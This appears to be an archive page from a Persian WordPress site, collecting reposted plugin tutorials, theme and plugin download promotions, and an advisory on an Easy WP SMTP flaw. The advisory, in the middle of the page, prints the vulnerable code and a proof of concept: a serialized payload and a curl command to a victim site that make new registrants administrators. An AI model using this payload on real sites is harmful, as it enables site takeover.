دیجی اسکریپت

دانلود قالب Archives | صفحه 534 از 1195 | دیجی اسکریپت

افزودن ویژگی‌ سفارشی به محصولات ووکامرس
[ad_1]

افزودن ویژگی‌ سفارشی به محصولات ووکامرس

امروز با افزونه‌ای که به شما معرفی می‌کنم، میتونید به محصولات دلخواه خود ویژگی‌های مختلفی اعم از رنگ تصویر و غیره دهید و تنوع محصولات فروشگاه خود را رونق ببخشید. آموزش را تا آخر بخوانید و به محصولات خود تنوع دهید.

ویژگی‌ سفارشی به محصولات ووکامرس

نحوه کار با افزونه WooCommerce Variation Swatches

خب در ابتدا برای این که افزونه را در سایت وردپرسی خود اجرا کنیم، نیاز به نصب و راه اندازی آن است. پس افزونه را دریافت و نصب کنید. پس از فعال سازی افزونه منو Swatches Settings در پیشخوان وردپرس ظاهر می‌شود.

وارد صفحه تنظیمات افزونه شوید. در اینجا، یکسری تب وجود دارد که فقط دوتب simple و advance فعال است. به بررسی آنها می‌پردازیم:

در اولین تب موجود، تیک گزینه Enable Tooltip را بزنید تا راهنمای تولتیپخصوصیات هر محصول فعال شود. سپس در بخش Enable Stylesheet میتونیدشیوه نامه را فعال کنید. و در آخر در بخش Shape style شکل استایل ویژگی‌هایمحصول را مشخص کنید.

در ادامه به تب بعدی برید و گزینه‌های زیر را تنظیم کنید. در اینجا در قسمت با فعال کردن گزینه Clear on Reselect میتونید ویژگی انتخاب شده برای انتخاب مجدد را حذف کنید. بعد در قسمت Ajax variation threshold میتونید تعداد آستانه اختلاف آژاکس فعال را کنترل کنید. و در قسمت Attribute image size اندازه تصاویر ویژگی‌های محصول را انتخاب کنید.

در آخر عرض و ارتفاع و اندازه فونت آیتم ویژگیهای محصول را مشخص کنید و روی دکمه آبی رنگ ذخیره تغییرات کلیک کنید. حال میتونید به بخش محصولات>ویژگی‌ها برید و و انواع ویژگی‌های مورد نظرتون را انتخاب و ایجاد کنید. در اینجامیتونید نوع دلخواه خود اعم از رنگ، تصویر، دکمه را ایجاد کنید و به محصولات فروشگاه خود تنوع دهید و دست کاربران را برای انتخاب محصول بیشتر باز کنیدتا بتوانند محصول دلخواه خود را انتخاب و خریداری کنند.

برای شروع به بخش محصولات> ویژگی‌ها برید و در فیلد نام و نامک، رنگ محصول را نوشته و نوع ویژگی محصول را از سه حالت موجود color انتخاب و روی دکمه افزودن ویژگی کلیک کنید. سپس لینک آبی رنگ پیکربندی شرایط و مقررات بفشارید. در اینجا رنگ‌های دلخواه خود را انتخاب و روی دکمه افزودن رنگ محصول جدید کلیک کنید.

ویژگی‌ سفارشی به محصولات ووکامرس

در این مرحله به صفحه محصول مورد نظرتان برید و در متاباکس اطلاعات محصول روی تبویژگی‌ها برید و از باکس انتخابی ویژگی رنگ محصول را انتخاب کنید. مقدارها را اضافه و تیک گزینه استفاده برای متغیرها را بزنید. سپس به تب متغیرها برید و قیمت آنها را مشخص کنید.

ویژگی‌ سفارشی به محصولات ووکامرس

حال تغییرات را ذخیره کرده و صفحه محصول را بازبینی کنید.

ویژگی‌ سفارشی به محصولات ووکامرس

در آخر اگر افزونه حرفه‌ای و کامل تری در این زمینه خواستارید، میتونید افزونه Woocommerce Product Add-ons را تهیه و در سایت وردپرسی خود نصب کنید.

موفق و پیروز باشید.

The post افزودن ویژگی‌ سفارشی به محصولات ووکامرس appeared first on ایکس اسکریپت.

[ad_2]

لینک منبع مطلب

افزودن فرم ورود به ستون کناری سایت وردپرسی
[ad_1]

افزودن فرم ورود به ستون کناری سایت

مطمئننا هر سایتی بدون کاربر به هیچ نمیارزد! کاربران هستند که به سایت ما رونق میبخشند و ما را ترغیب میکنند هر روز سایت را بهبود داده و با کیفیت تری نسبت به قبل کار کنیم. کاربران از طریق فرم ورود به سیستم وارد و عضو سایت می شوند، میتونیم برای راحتی کاربران و انعطاف پذیری سایت، فرم ورود را در سایدبار بگذاریم و کاربران بتوانند سریعتر اطلاعات ورودشان را وارد و به پنل کاربری سایت ما هدایت شوند. اصولا همه در سایدبار به دنبال تمامی بخش های سایت میگردند!افزودن فرم ورود

با ما همراه باشید تا نحوه این کار را با افزونه ساده و آسان برای شما تشریح کنیم.

نحوه کار با افزونه Sidebar Login

در ابتدا افزونه را دریافت، نصب و راه اندازی کنید. بعد از فعال کردن افزونه به بخش نمایش> ابزارک ها در پیشخوان وردپرس برید. حال ابزارک Sidebar Login را می بینید. آن را به سایدبار مورد نظرتون کشیده و رها کنید. سپس در ابتدا یک عنوان برای فرم ورود به سیستم مشخص کنید. بعد تیک گزینه Show Last Password Link را در صورتی که میخواهید آخرین لینک رمز عبور را نشان دهید، فعال کنید.

افزودن فرم ورود

سپس، تیک گزینه Show Register Link را در صورتی که میخواهید لینک عضویت را نشان دهید، فعال کنید. در ادامه با فعال کردن تیک گزینه بعدی چک باکس Show “Remember me” checkbox در فرم نمایش داده می شود. در قسمت بعدی آدرس صفحه ای که قصد دارید کاربران بعد از لاگین آن را ببینند وارد کنید. در قسمت logged in title عبارت خوش آمدگویی به کاربران را بنویسید.

برای نشان دادن پروفایل کاربر وارد شده تیک گزینه  را بزنید. و همچنین آدرس صفحه ای که کاربر خارج میشود ببیند را وارد و تغییرات را ذخیره کنید. حال سایت را رفرش کنید و می بینید خیلی راحت فقط با پر کردن چند فیلد فرم ورود به سیستم را در سایدبار سایت خود برای کاربران به نمایش گذاشتید. با وردپرس تقریبا میتوان همه کار کرد و یک سایت فوق العاده جذاب و کاربردی و با کیفیت راه اندازی کرد.

افزودن فرم ورود

موفق و پیروز باشید.

The post افزودن فرم ورود به ستون کناری سایت وردپرسی appeared first on ایکس اسکریپت.

[ad_2]

لینک منبع مطلب

مدیریت همزمان چند سایت وردپرس با ManageWP Worke
[ad_1]

مدیریت همزمان چند سایت وردپرس

وقتی که قالب های حرفه ای را بر روی هاست کاربران نصب میکنم، می بینم تعداد بسیاری از آنها بیش از یک سایت وردپرسی دارند و برای مدیریت کردن هر کدامشان باید به صورت جداگانه وارد پیشخوان شوند و اقدامات لازم را انجام دهند. همین موضوع من رو به فکر انداخت تا به دنبال افزونه کاربردی و محبوبی باشم که کاربران بتوانند تمامی سایت ها را تنها در یک بخش یا داشبورد مدیریت کنند و سرعت کار خود را بالا ببرند.

مدیریت همزمان چند سایت وردپرس

امروز این افزونه را پیدا کردم و دوست دارم به شما عزیزان معرفی کنم. نام افزونه ManageWP Worker است، این افزونه بسیار کاربردی و کارآمد است که با استفاده از این سرویس میتونید کارهای زیادی را انجام بدید و تمامی سایتهای وردپرسی خودتان را در یکجا مدیریت کنید. در واقع، ManageWP تمامی داده های وب سایت شما را در یک داشبورد مدیریت می‌کند.

ویژگی های افزونه ManageWP Worker

 

  • مدیریت سایت های مختلف وردپرس
  • نصب و به روز رسانی قالب ها، افزونه ها تنها با یک کلیک 
  •  تهیه پشتیبان ار سایتها و ذخیره آنها در گوگل داربو، آمازون و Dropbox 
  • ورود به پیشخوان
  • مدیریت سئو و کلمات کلیدی

نحوه کار با افزونه ManageWP Worker

در ابتدا افزونه را نصب و راه اندازی کنید، پس از فعال سازی افزونه وارد وب سایت managewp.com شوید و یک اکانت ایجاد و نام، فامیل را وارد نمایید. بعد آدرس دامنه سایت وردپرسی خودتان را همراه با نام کاربری و رمز عبور وارد کرده و منتظر بمانید به این سرویس متصل شوید. سپس در داشبورد مشاهده شده میتوان سایت وردپرسی خودتان را مدیریت کنید.

در اینجا میتونید هر تعداد سایت وردپرسی که دارید را به این سرویس اضاف کنید و همه را در یک جا مدیریت کنید. این یک سرویس پیشرفته و خارق العاده است که کار شما را خیلی خیلی راحت میکند و دیگر نیازی به سوئیچ کردن بین سایت هایتان نیست و سرعت العمل تان بیشتر می شود.

در این داشبورد میتوان کارهای متفاوتی مانند مدیریت کردن تمامی سایتها در یک صفحه، حذف کردن دیدگاه های اسپم، نصب و به روز رسانی افزونه ها و قالب تمامی سایتها، تهیه پشتیبان از تمامی سایتها، مطلع شدن از down بودن سایتها توسط ایمیل، دسترسی به پیشخوان وردپرس، مدیریت کردن پستها و صفحات و کاربران و در آخر مدیریت سئو انجام داد.

دیدید چقدر ساده همه چیز یکجا در دسترستان است و در همین سرویس میتونید تغییرات دلخواه خودتان را لحاظ کنید. با این سرویس میتونید یک مدیر قدرتمند و کارآمد برای سایت های وردپرسی خودتان باشید.

موفق و پیروز باشید.

 

The post مدیریت همزمان چند سایت وردپرس با ManageWP Worke appeared first on ایکس اسکریپت.

[ad_2]

لینک منبع مطلب

جلوگیری از ویرایش پست‌های منتشر شده وردپرس
[ad_1]

جلوگیری از ویرایش پست‌های منتشر شده وردپرس

خوبیه وردپرس اینه که می‌تونید چندین نویسنده و هزاران کاربر را به وب سایت خود اضافه و نقشهای کاربری متفاوتی را به هر یک از آنها بدهید. هر نویسنده میتواند پس از انتشار پست مجددا پست را ویرایش و منتشر کند. اما با افزونه Revision Manager TMC میتونید کاری کنید که نویسنده نتونه این کار را کنه و پست منتشر شده را بازبینی و اصلاح کند.

در ابتدا شما پست منتشر شده را بررسی  و تایید کنید که پست منتشر شده اصلاح شود یا خیر! با ما همراه باشید تا نحوه کار با افزونه را توضیح دهیم.

جلوگیری از ویرایش پست‌ها

نحوه کار با افزونه Revision Manager TMC

برای شروع در ابتدا افزونه Revision Manager TMC را نصب و راه اندازی کنید. پس از فعال سازی افزونه گزینه جدیدی به نام Revision Manager TMC به منو تنظیمات در پیشخوان وردپرس اضافه می شود.

جلوگیری از ویرایش پست‌ها

در این قسمت، در تب General Settings در بخش Copy creation capability گزینه edit_posts را انتخاب و در بخش Acceptation capability گزینه published_posts را انتخاب کنید.

در واقع تعیین میکنید قابلیت ایجاد کپی و پذیرفتن پست چه حالتی باشند! سپس، در بخش Role for notification میتوان مشخص کرد چه کسی هشدار یا اعلان بازبینی پست منتشر شده را ببیند و قبول یا رد کند! که به صورت پیش فرض روی مدیر قرار گرفته است.

یعنی در اصل، از این پس کاربر یا نویسنده میتواند یک نسخه از پست ایجاد و آن را ویرایش و برای مدیر ارسال کند. بعد مدیر یک هشدار یا اعلان برای بررسی بازبینی پست منتشر شده دریافت میکند، پست را بررسی و آن را منتشر میکند.

مجددا به ادامه پیکربندی تنظیمات می رویم، در قسمت Post types میتوان تعیین کرد برای چه پست تایپ هایی بازبینی اعمال شود. که در اینجا فقط برای نوشته ها فعال است. (سایر پست تایپ های وردپرس در نسخه پرمیوم قابل استفاده هستند.) و در آخرین قسمت تنظیمات افزونه میتونید عنوان و محتوای هشدار بازبینی پست منتشر شده را سفارش سازی و تغییر دهید.

پس از تغییرات تنظیمات روی دکمه Update Settings کلیک و تغییرات را به روز رسانی کنید. حالا بیایم با هم افزونه را تست کنیم. از پیشخوان خارج شده و با اکانت کاربر وارد پیشخوان بشید. سپس، به بخش نوشته ها> نوشته رفته و یکی از نوشته ها را برای بازبینی انتخاب و روی لینک Create revision draft کلیک کنید.

حال پست را تغییر داده و دکمه Submit for review بفشارید. بعد مجددا با اکانت ادمین وارد پیشخوان بشید و به بخش نوشته ها> نوشته برید. در اینجا یک هشدار مانند تصویر زیر برای بازبینی پست توسط کاربر دریافت کردید. پست را اجرا و بررسی کنید و در صورت تایید آن را مجددا منتشر کنید. حال پست قبلی به صورت خودکار حذف می شود و فقط پست جدید را خواهید دید!

موفق و پیروز باشید.

The post جلوگیری از ویرایش پست‌های منتشر شده وردپرس appeared first on ایکس اسکریپت.

[ad_2]

لینک منبع مطلب

افزونه مگامنو ساز حرفه ای وردپرس QuadMenu
[ad_1]

QuadMenu نام یک افزونه حرفه ای و کاملا کاربردی برای وردپرس است که با استفاده از آن می توانید در وبسایت وردپرسی خود مگامنو ایجاد کنید. این افزونه یک ابزار طراحی مگا منو برای کاربران و توسه دهندگان وب است که شما را قادر می سازد به راحتی و بدون هیچ دانش برنامه نویسی و تنها با کشیدن و رها کردن، مگامنوهای مختلف ایجاد و آنها را سفارشی سازی کنید. افزونه QuadMenu به گونه ای طراحی شده که در دستگاه های موبایل به خوبی نمایش داده می شود و شما را قادر می سازد اندازه صفحه را با توجه به نیازهای خود تنظیم کنید، اما این افزونه فقط یک منوی واکنشگرا نیست بلکه دارای یک رابط لمسی جالب است که تجربه کاربری جذابی برای کاربران رقم می زند.

افزونه مگامنو ساز حرفه ای وردپرس QuadMenu

با استفاده از این افزونه می توانید برای مگامنوهای خود بی نهایت پوسته مختلف با رنگ های متفاوت طراحی کنید، افزونه QuadMenu دارای عناصر و گزینه های پیشرفته ای است که می توانید آنها را به منوهای خود اضافه کنید. از قابلیت های اصلی این افزونه می توان به امکان گسترش منوهای استاندارد وردپرس، امکان درج منو در مکان های مختلف، امکان ایجاد منوی افقی و عمودی، پشتیبانی از تم فرزند، امکان ایجاد منوی چسبنده، دارای گزینه های منوی کشویی شناور، امکان نمایش یا پنهان کردن آپشن ها بسته به اندازه صفحه نمایش و بسیاری امکانات دیگر اشاره کرد. در ادامه مطلب به برخی دیگر از امکانات افزونه وردپرس ایجاد مگامنو وردپرس QuadMenu اشاره خواهیم کرد.

امکانات افزونه مگامنو ساز حرفه ای وردپرس QuadMenu :

  • پشتیبانی از آیکون ها
  • دارای جستجوگر پیشرفته
  • پشتیبانی از فونت های گوگل
  • پشتیبانی از افزونه صفحه ساز ویژوال کامپوسر
  • امکان ایجاد تم منو نامحدود
  • سازگار با افزونه فروشگاه ساز ووکامرس
  • سازگار با بوت استرپ
  • سازگار با وردپرس ۴٫۵ و بالاتر
  • شامل فایل های JavaScript JS, CSS, PHP, LESS
  • امکان ایجاد منوهای زبانه
  • و بسیاری امکانات دیگر

نوشته افزونه مگامنو ساز حرفه ای وردپرس QuadMenu اولین بار در دلکد – دانلود اسکریپت. پدیدار شد.

[ad_2]

لینک منبع مطلب

دانلود قالب فروشگاهی Zuka برای وردپرس
[ad_1]

قالب Zuka قالبی با تنوع تنظیمات و امکانات جالب توجه و سازگار با افزونه ووکامرس است که می تواند به شما در ایجاد انواع سایت های تجاری و فروشگاهی کمک کند. تنوع طرح های پیاده سازی شده با این قالب در صفحه ی رسمی آن در سایت تم فارست به خوبی امکانات و ویژگی های این قالب را به نمایش می گذارد و نشان می دهد که از آن می توانید برای راه اندازی انواع سایت ها و خصوصا سایت های فروشگاهی و حتی سوپرمارکت اینترنتی استفاده کنید.

دانلود قالب فروشگاهی Zuka برای وردپرس

از ویژگی های مهم این قالب که در شرح امکاناتش نیز به آن پرداخته شده، سازگاری این قالب با زبانهایی است که نیازمند نمایش از راست به چپ هستند. قالب Zuka راست چین شده و به همراه استایل های مورد نیاز برای زبانهای اینچنینی در اختیار کاربران قرار میگیرد. بنابراین با بهره گیری از این قالب شما قادر خواهید بود که بی نیاز از صرف زمان و هزینه ی جداگانه جهت راستچین کردن قالب وردپرس، سایتتان را به آسانی راه اندازی کنید.

از دیگر امکانات این قالب میتوان به مواردی همچون سرعت بارگذاری بسیار عالی، پشتیبانی از طرح بندی های جعبه ای و عریض، طراحی کاملا واکنش گرا، بهینه سازی برای موتورهای جستجو، امکان درج نمونه کار ها، امکان درج توصیه نامه مشتریان، امکان معرفی اعضای تیم، پشتیبانی از نمایشگر های رتینا، امکان ایجاد صفحات با استفاده از صفحه ساز گرافیکی، پنل مدیریتی قدرتمند، امکانات سفارشی سازی گسترده، پشتیبانی از شبکه های اجتماعی، امکان استفاده از طرح بندیهای متنوع، پشتیبانی از WPML و امکان استفاده از آیکن های فونت آوسام اشاره کرد.

برخی امکانات قالب فروشگاهی Zuka :

  • امکان پیاده سازی طرح های متنوع در سایت
  • امکان سفارشی سازی سربرگ و فوتر
  • دارای طرح های متنوع وبلاگ
  • دارای طرح های متنوع پورتفولیو
  • دارای طرح های متنوع نمایش دیدگاه های مشتریان
  • امکان معرفی اعضای تیم
  • دارای صفحه به زودی
  • سازگار با نمایشگر های رتینا
  • آماده ی استفاده از مگامنو
  • امکان اشتراک گذاری محتوا در شبکه های اجتماعی
  • دارای تنظیمات استایل برای عناصر
  • امکان استفاده از نقشه های گوگل
  • پشتیبانی از افکت پارالاکس
  • امکان سفارشی سازی صفحه ۴۰۴
  • سازگار با افزونه WPML
  • سازگار با آیکن های فونت آوسام
  • امکان نمایش سریع محصولات
  • بهینه شده برای موتورهای جستجو
  • امکان نمایش محصولات به صورت ۳۶۰ درجه
  • و بسیاری امکانات دیگر …

نوشته دانلود قالب فروشگاهی Zuka برای وردپرس اولین بار در دلکد – دانلود اسکریپت. پدیدار شد.

[ad_2]

لینک منبع مطلب

با بروز رسانی افزونه Easy WP SMTP، از خطر حمله به وردپرس دور بمانید
[ad_1]

به تازگی حملاتی به سایت‌های وردپرسی مشاهده شده که پس از تحقیق و بررسی‌های پیاپی مشکل کشف شد. این مشکلات از سمت افزونه Easy WP SMTP است که سایت وردپرسی را در معرض خطر حمله با تزریق کدهای مخرب در آن، قرار می‌دهد. اما چگونه از این خطر حمله به وردپرس دور بمانیم؟ پاسخ شما بسیار ساده است! با بروزرسانی افزونه Easy WP SMTP در وردپرس!
شاید بعضی از دوستان با این افزونه آشنا نباشند. “افزونه Easy WP SMTP امکان پیکربندی و ارسال ایمیل‌های خارجی از طریق یک سرور SMTP را می‌دهد. این امر باعث جلوگیری از ارسال ایمیل‌ها به پوشه‌های Junk یا Spam می‌شود. ”

 

خطر حمله به وردپرس

آسیب‌پذیری که در این افزونه یافت شد از ۱۵ مارس توسط هکرها مورد سوء استفاده قرار گرفت و توسط فایروال افزونه Ninjafirewall به دام افتاد. و نتایج زیر حاصل شد:

add_action( 'admin_init', array( $this, 'admin_init' ) );
...
...
function admin_init() {
    if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
         add_action( 'wp_ajax_swpsmtp_clear_log', array( $this, 'clear_log' ) );
         add_action( 'wp_ajax_swpsmtp_self_destruct', array( $this, 'self_destruct_handler' ) );
    }
 
    //view log file
    if ( isset( $_GET[ 'swpsmtp_action' ] ) ) {
        if ( $_GET[ 'swpsmtp_action' ] === 'view_log' ) {
        $log_file_name = $this->opts[ 'smtp_settings' ][ 'log_file_name' ];
        if ( ! file_exists( plugin_dir_path( __FILE__ ) . $log_file_name ) ) {
            if ( $this->log( "Easy WP SMTP debug log filernrn" ) === false ) {
            wp_die( 'Can't write to log file. Check if plugin directory  (' . plugin_dir_path( __FILE__ ) . ') is writeable.' );
            };
        }
        $logfile = fopen( plugin_dir_path( __FILE__ ) . $log_file_name, 'rb' );
        if ( ! $logfile ) {
            wp_die( 'Can't open log file.' );
        }
        header( 'Content-Type: text/plain' );
        fpassthru( $logfile );
        die;
        }
    }
 
    //check if this is export settings request
    $is_export_settings = filter_input( INPUT_POST, 'swpsmtp_export_settings', FILTER_SANITIZE_NUMBER_INT );
    if ( $is_export_settings ) {
        $data                    = array();
        $opts                    = get_option( 'swpsmtp_options', array() );
        $data[ 'swpsmtp_options' ]       = $opts;
        $swpsmtp_pass_encrypted          = get_option( 'swpsmtp_pass_encrypted', false );
        $data[ 'swpsmtp_pass_encrypted' ]    = $swpsmtp_pass_encrypted;
        if ( $swpsmtp_pass_encrypted ) {
        $swpsmtp_enc_key         = get_option( 'swpsmtp_enc_key', false );
        $data[ 'swpsmtp_enc_key' ]   = $swpsmtp_enc_key;
        }
        $smtp_test_mail          = get_option( 'smtp_test_mail', array() );
        $data[ 'smtp_test_mail' ]    = $smtp_test_mail;
        $out                 = array();
        $out[ 'data' ]           = serialize( $data );
        $out[ 'ver' ]            = ۱;
        $out[ 'checksum' ]       = md5( $out[ 'data' ] );
 
        $filename = 'easy_wp_smtp_settings.txt';
        header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
        header( 'Content-Type: text/plain' );
        echo serialize( $out );
        exit;
    }
 
    $is_import_settings = filter_input( INPUT_POST, 'swpsmtp_import_settings', FILTER_SANITIZE_NUMBER_INT );
    if ( $is_import_settings ) {
         $err_msg = __( 'Error occurred during settings import', 'easy-wp-smtp' );
         if ( empty( $_FILES[ 'swpsmtp_import_settings_file' ] ) ) {
            echo $err_msg;
            wp_die();
        }
        $in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );
        try {
            $in = unserialize( $in_raw );
            if ( empty( $in[ 'data' ] ) ) {
                 echo $err_msg;
                 wp_die();
            }
            if ( empty( $in[ 'checksum' ] ) ) {
                 echo $err_msg;
                 wp_die();
            }
            if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {
                 echo $err_msg;
                 wp_die();
            }
            $data = unserialize( $in[ 'data' ] );
            foreach ( $data as $key => $value ) {
                 update_option( $key, $value );
            }
            set_transient( 'easy_wp_smtp_settings_import_success', true, 60 * 60 );
            $url = admin_url() . 'options-general.php?page=swpsmtp_settings';
            wp_safe_redirect( $url );
            exit;
        } catch ( Exception $ex ) {
            echo $err_msg;
            wp_die();
        }
    }
}

با بروز رسانی افزونه Easy WP SMTP، از خطر حمله به وردپرس دور بمانید

دستور ()admin_init در قطعه کد بالا که از اسکریپت افزونه است، زمانی که کاربر به پیشخوان مدیریت دسترسی دارد، توسط admin_init اجرا می‌شود. این مورد باید با درون‌ریزی یا برون‌بری در پیکربندی افزونه و بروز رسانی تنظیمات آن در پایگاه داده مشاهده و حذف شود. این قابلیت سطح دسترسی کاربر را بررسی نمی‌کند، از این رو هر کاربر وارد شده می‌تواند به عنوان یک مشترک باشد. اما این مورد می‌تواند عملیاتی را برای انجام توسط کاربران غیرمجاز و نامعتبر اجرا کند و همین موضوع خطر حمله به وردپرس را دامن می‌زند. زیرا افزونه Easy WP SMTP ممکن است بصورت ایجکسی و در admin_init اجرا شود. این موضوع اینگونه در  WordPress API توصیف شده است:

  • توجه داشته باشید، این مشکل فقط بر روی نمایشگرهای مدیریت شده کاربر اجرا نشده بلکه بر روی admin-post.php و admin-ajax.php نیز ظاهر خواهد شد.

بنابراین، کاربران غیرمجاز توانایی ارسال درخواست‌های ایجکسی مانند action=swpsmtp_clear_log را برای اجرای عملکرد بالا دارند. همین امر خطر حمله به وردپرس را به وجود می‌آورد.

اثبات این مفهوم

با بروز رسانی افزونه Easy WP SMTP، از خطر حمله به وردپرس دور بمانید

برای اثبات مفهومی که در این محتوا در مورد آن صحبت می‌کنیم، از swpsmtp_import_settings برای بارگذاری فایل‌هایی که حاوی سریال‌های مخرب هستند و باعث فعال شدن ثبت‌نام کاربران می‌شوند استفاده کردیم. همچنین نقش کاربر را بصورت پیش‌فرض “مدیر” در پایگاه داده قرار دادیم.

۱- فایلی با عنوان  “tmp/upload.txt/” ایجاد کنید و اطلاعات زیر را در آن وارد نمایید:

a:2:{s:4:"data";s:81:"a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}";s:8:"checksum";s:32:"3ce5fb6d7b1dbd6252f4b5b3526650c8";}

۲- فایل زیر را بارگذاری کنید:

$ curl https://VICTIM.COM/wp-admin/admin-ajax.php -F 'action=swpsmtp_clear_log' -F 'swpsmtp_import_settings=1' -F 'swpsmtp_import_settings_file=@/tmp/upload.txt'

سایر دلایل خطر حمله به وردپرس

آسیب‌های دیگر نیز هستند که میزان خطر حمله به وردپرس را افزایش داده و مورد سوء استفاده افراد مخرب قرار می‌گیرند که عبارت است از:

  • اجرای کدهایی که درون آن‌ها کدهای مخرب php تزریق شده زیرا افزونه Easy WP SMTP از یک تابع نا ایمن به نام ()unserialize استفاده می‌کند.
  • مشاهده و حذف لاگ‌ها (یا هر نوع فایلی، زیرا هکرها می‌توانند نام فایل را تغییر دهند.)
  • خروجی گرفتن از افزونه که شامل اطلاعات سرور SMTP، نام کاربری، رمز عبور و استفاده از آن برای ارسال ایمیل‌های اسپم است.

نکته جالب اینجاست که هکرها از این آسیب‌پذیری برای تغییر محتوا و داده‌های وردپرس مانند جدول wp_user_roles در پایگاه داده و توانایی دسترسی مدیر به تمامی کاربران، استفاده می‌کنند. متاسفانه تغییر اکانت مدیر به راحتی در بخش کاربری شناسایی می‌شود. جالب‌تر اینجاست که تشخیص این تغییرات کار بسیار سختی است زیرا اکانت کاربری یک مدیر دقیقا مانند یک کاربر مشترک است فقط در بک‌گراند کار مشخص می‌شود که سطح دسترسی آن بسیار گسترده است.

 

توصیه‌های مهم

اولین و مهم‌ترین توصیه‌ای که برایتان داریم این است که با شتاب هر چه بیشتر افزونه Easy WP SMTP را در جهت حفظ امنیت وردپرس، بروزرسانی کنید. سپس به موارد زیر توجه کنید:

  • به قسمت تنظیمات>> عمومی مراجعه کنید و بررسی کنید که هیچ گزینه‌ای غیر عادی نیست و دست‌کاری نشده است. مواردی از قبیل آدرس سایت، آدرس ایمیل، نقش‌های کاربری و…
  • صفحه کاربران وردپرس را حتما چک کنید، کاربران جدید را بررسی کنید، حساب‌های کاربری غریبه را پیگیری کرده و حذف کنید. همچنین ایمیل مدیریت را نیز بررسی کنید که تغییری نکرده باشد.
  • برای در امان بودن از خطر حمله به وردپرس، تمامی پسوردها را تغییر دهید. (انتخاب پسورد قوی)
  • جدول wp_options را در پایگاه داده وردپرس مورد بررسی قرار دهید و در مورد نقش‌های کاربری در wp_user_roles اطمینان حاصل کنید.
  • فایل‌های سایت خود اسکن کنید زیرا هکرها ممکن است فایل‌هایی مخرب را در سایت شما ایجاد کنند. (اسکن وردپرسی)
  • پسورد SMTP خود را تغییر دهید زیرا ممکن است هکرها آن را کشف کرده باشند.

نوشته با بروز رسانی افزونه Easy WP SMTP، از خطر حمله به وردپرس دور بمانید اولین بار در بیست اسکریپت. پدیدار شد.

[ad_2]

لینک منبع مطلب

افزونه صفحه ساز پیشرفته وردپرس Elementor Pro نسخه ۲٫۵٫۴
[ad_1]

با گذشت زمان، هر روز شاهد ارائه شدن افزونه های صفحه ساز گرافیکی بیشتری برای وردپرس هستیم. قبلا در این زمینه افزونه صفحه ساز پیشرفته Visual Composer را به شما معرفی کرده بودیم. امروز یکی دیگر از افزونه های محبوب این گروه را برای شما آماده کرده ایم تا آن را دانلود کرده و از امکانات آن در سایت خود بهره مند شوید. افزونه Elementor Pro یکی از صفحه ساز های وردپرس است که در این گروه موفق عمل کرده و توانسته کاربران زیادی را جذب خود کند. نسخه رایگان این افزونه که Elementor دارد، در حال حاضر توسط حدودا ۱۰۰ هزار کاربر در سراسر جهان مورد استفاده قرار می گیرد.

این افزونه امکانات و عناصر متعددی را در اختیار شما قرار می دهد که با استفاده از آنها می توانید بدون نیاز به دانش فنی خاص و یا بدون نیاز به کدنویسی، صفحات حرفه ای ایجاد کرده و آنها را در اختیار کاربران خود قرار دهید. نسخه حرفه ای این افزونه که امروز برای شما جهت دانلود آماده کرده ایم، امکانات متعدد و جالب دیگری را به نسخه رایگان این افزونه می افزاید که می تواند بیش از پیش به شما در ایجاد انواع صفحات در وردپرس کمک کند.

افزونه صفحه ساز پیشرفته وردپرس Elementor Pro نسخه 2.5.4

امکانات ویژه نسخه حرفه ای افزونه Elementor Pro :

  • امکان نمایش انواع نوشته
  • امکان نمایش پورتفولیو و نمونه کار در سایت
  • امکان نمایش بلاگ
  • مجهز به حالات مختلف نمایش از جمله لیست، شبکه، بلاگ و …
  • مجهز به ویرایشگر زنده فرم
  • امکان درج ابزارک های سراسری با امکان ویرایش و سفارشی سازی آسان
  • ویرایشگر زنده CSS
  • امکان درج عناصر المنتور در بخش های مختلف سایت
  • امکان ایجاد اسلایدرهای حرفه ای
  • هماهنگی کامل با ووکامرس برای ایجاد فروشگاه اینترنتی
  • مجهز به ابزارکهای اختصاصی
  • امکان درج انواع فرم در سایت
  • امکان درج جداول قیمتگذاری و یا لیست قیمت
  • امکان درج آیتم شمارش معکوس
  • امکان نمایش عناصر مختلف ووکامرس مانند محصولات، دسته ها، سبد خرید و …
  • امکان درج باکس چرخنده در سایت
  • و بسیاری امکانات دیگر …

نوشته افزونه صفحه ساز پیشرفته وردپرس Elementor Pro نسخه ۲٫۵٫۴ اولین بار در دلکد – دانلود اسکریپت. پدیدار شد.

[ad_2]

لینک منبع مطلب

مدیریت Heartbeat وردپرس با افزونه Heartbeat Control
[ad_1]

در مطلب Heartbeat وردپرس چیست؟ نبض سایت وردپرسی خود را بگیرید! در مورد ضربان‌قلب وردپرس صحبت کردیم و گفتیم این ای پی آی می‌تواند به صورت زنده با وب سایت شما ارتباط برقرار کنند و اطلاعات را رد و بدل کند پس مورد چندان بدی هم نیست اما در انتهای مقاله گفتیم اگر وب سایت شما از یک هاست با منابع کم استفاده می‌کنید. بدون شک باید Heartbeat وردپرس را غیر فعال کنید تا از هدر رفت منابع هاستتان جلوگیری شود. البته یک‌سری از امکانات وردپرس شما غیر فعال خواهد شد. پیشنهاد می‌کنم از هاست قوی‌تری استفاده کنید و استفاده از این روش را به عنوان مرحله آخر کار قرار دهید.

 

مدیریت Heartbeat وردپرس با افزونه Heartbeat Control

مدیریت Heartbeat وردپرس

برای مدیریت Hearbeat و غیر فعال کردن آن می‌توانید از افزونه Heartbeat Control استفاده کنید. البته این افزونه علاوه بر غیر فعال کردن ضربان قلب وردپرس، می‌تواند فرکانس انجام عملیات Heartbeat را برای شما تغییر دهد.

  • بصورت پیشفرض فرکانس انجام عملیات یا همان رفرش اطلاعات در ضربان قلب وردپرس، در بخش ویرایش نوشته‌ها هر ۱۵ ثانیه و در پنل وردپرس شما هر ۶۰ ثانیه هست.

همانطور که گفتیم با این افزونه می‌توانید مقدار ۶۰ و ۱۵ ثانیه را به زمان مورد نظر خوتان تغییر دهید. برای اینکار طبق آموزش نصب افزونه در وردپرس Heartbeat Control را روی سایتتان نصب کنید. سپس بخشی به نام Heartbeat Control در پنل وردپرس شما به منوی تنظیمات اضافه خواهد شد. وارد این بخش شوید.

 

غیر فعال کردن Heartbeat وردپرس

